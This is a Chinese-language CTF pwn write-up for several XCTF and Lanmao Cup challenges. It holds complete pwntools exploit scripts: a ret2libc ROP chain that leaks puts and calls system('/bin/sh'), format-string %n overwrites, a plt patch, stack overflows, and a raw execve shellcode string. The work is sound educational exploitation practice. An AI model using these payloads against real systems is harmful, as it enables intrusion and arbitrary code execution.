最近刷了一些pwn题,攻防世界 、蓝帽杯等等,发现提升CTF的最快方法还是刷题,刷题,刷题。此篇文章涉
及到的知识点:64位rop解体流程、格式化字符串的基本原理和一些利用方式以及如何改写plt。
0x0:pwn-100
64位程序
发现前两个函数标准输入输出,然后我们来看一下第三个函数 发现里面又套了一层函数
栈空间大小为40 我们可以把这个sub_40063D函数当成read函数
这个的意思就是
修改edi的目的达成 直接call put的指令的意思就是打印
put的plt地址意味着调用put函put函数的参数存放再rdi中 rdi此时是got[put]
打印got表put函数的地址
from pwn import *
from LibcSearcher import LibcSearcher
#导入libcsearcher来搜索此执行程序使用的哪个got表
#一种got表对应一种libsearcher
context.log_level = 'debug'
io = process('./6')
io = remote('111.200.241.244',57644)
elf = ELF('./6')
payload = b'b'*0x48+p64(0x0000000000400763)+p64(elf.got['puts'])+p64(elf.p
lt['puts'])+p64(0x00000000004006B8)
#分析一下这个payload,首先栈溢出,然后加上pop rdi 的地址,在接上got表中的puts
plt是运行puts函数,最后再接上main函数地址
#got表中的puts是一串地址
io.sendline(payload.ljust(200,b'b'))
#题目中写明了for循环必须要200字符串
#print(io.recv())
io.recvuntil('\n')
got_put_addr = u64(io.recv().split(b'\n')[0].ljust(8,b'\x00'))
print(got_put_addr)
#利用got表中的puts函数算出got表中其他函数的相对偏移
libc_obj = LibcSearcher('puts', got_put_addr)
libc_base_addr = got_put_addr - libc_obj.dump('puts')
system_addr = libc_base_addr + libc_obj.dump("system")
str_bin_sh = libc_base_addr + libc_obj.dump('str_bin_sh')
payloads = b'b'*0x48+p64(0x0000000000400763)+p64(str_bin_sh)+p64(system_addr)
io.sendline(payloads)
io.interactive()
#p64(0x0000000000400763) =rdi
p64(0x0000000000400763)+p64(elf.got['puts']) 把got表中的puts传送给rdi
0x1:lanmao分区pwn
首先checksec一下,发现保护全开
然后我们用ida打开
我们在这里发现了一个格式化字符串漏洞
用one_gadget查看glibc自带的后门函数地址
这道题的思路:
首先我们利用print函数来算出野指针到s的地址然后算出s到ret的地址,加和算出一共的%p
我们把ret函数返回到one_gadget泄露got表的后门地址
0x2:格式化字符串进阶
第一个函数
第二个函数
print(format)的作用就是格式化字符串,使得v4 = v3
第三个函数
流程:
%85c%7p$n
这里算出来是8,指的是v3的地址 但是我们要在v2中写入东西 所以要减去偏移
输入up,east,1跳过第一个函数 进入第二个函数
下面我们进行exp的编写:
shellcode写在这里
64位的shellcode:
"\x6a\x3b\x58\x99\x52\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x53
\x54\x5f\x52\x57\x54\x5e\x0f\x05"
from pwn import *
context.log_level = 'debug'
io = remote('111.200.241.244',53443)
io.recvuntil('is')
a=io.recvuntil('\n')[:-1]
b=int(a,16)
print(a)
print(b)
io.sendlineafter('What should your character\'s name be:','1')
io.sendlineafter('So, where you will go?east or up?:','east')
io.sendlineafter('go into there(1), or leave(0)?:','1')
io.sendlineafter('Give me an address',str(b))
#p64()格式是写入内存,机器码识别,但是此题是写入栈中的变量中,直接字符串格式就行(也就是v2)
#我是猪!,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p
io.sendline('%85c%7$n')
io.sendline("\x6a\x3b\x58\x99\x52\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\
x73\x68\x53\x54\x5f\x52\x57\x54\x5e\x0f\x05")
io.interactive()
0x3:格式化字符串入门 CGfsb %n
格式化字符串漏洞入门利用%n
算出第10个偏移是野指针的地址
这里进行验证,确实是第十个,
接下来写exp
from pwn import *
context.log_level = 'debug'
io = remote('111.200.241.244',55751)
io.sendline('de')
payload = p32(0x0804A068)+b'我是猪!'+b'%10$n'
io.sendline(payload)
io.interactive()
#我是猪!.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p
payload = p32(0x0804A068)+b'我是猪!'+b'%10$n'
payload格式是这个,前面是要修改的地址,用字符补全 再用%10$n打进去
0x4:cover蓝帽杯半决赛1 改写plt
首先checksec一下 发现是32位程序 No PIE
from pwn import *
sh=process('cover')
sh.recvuntil('\n')
sh.send(p32(0x80484d0+2)+b'\x24')
#此题的关键就是在这里,0x80484d0是plt中puts函数的地址+2就是关键所在
#然后直接改成x24就是改成了system,然后在接上一个/bin/sh
sh.sendline('/bin/sh')
sh.interactive()
0x5:栈溢出反应釜开关控制
首先checksec 一下
解题思路:
套了三层循环 每进入一层循环需要输入地址 我们只能一边调一边进入
进入第一个函数的地址
from pwn import *
context.log_level = 'debug'
#io = process('10')
io = remote('111.200.241.244',56649)
payload1= b'a'*(0x100+0x8)+p64(0x4005f6)
payload2= b'a'*(0x180+0x8)+p64(0x400607)
payload3= b'a'*(0x200+0x8)+p64(0x00000000004006B0)
io.sendlineafter('>',payload3)
io.recv()
进入第二个函数的地址
第三次的地址
最终exp:
from pwn import *
context.log_level = 'debug'
#io = process('10')
io = remote('111.200.241.244',56649)
payload1= b'a'*(0x100+0x8)+p64(0x4005f6)
payload2= b'a'*(0x180+0x8)+p64(0x400607)
payload3= b'a'*(0x200+0x8)+p64(0x00000000004006B0)
io.sendlineafter('>',payload3)
io.recv()
#io.sendline('a')
io.sendline(payload2)
#io.recv()
io.sendline(payload1)
#io.recv()
io.interactive()
0x6:小结
pwn的解题对选手的内存 C语言 汇编语言底层功底要求很高 在学习过程中一定不用求快
需要扎实的学习。这样才能更快的解题。 |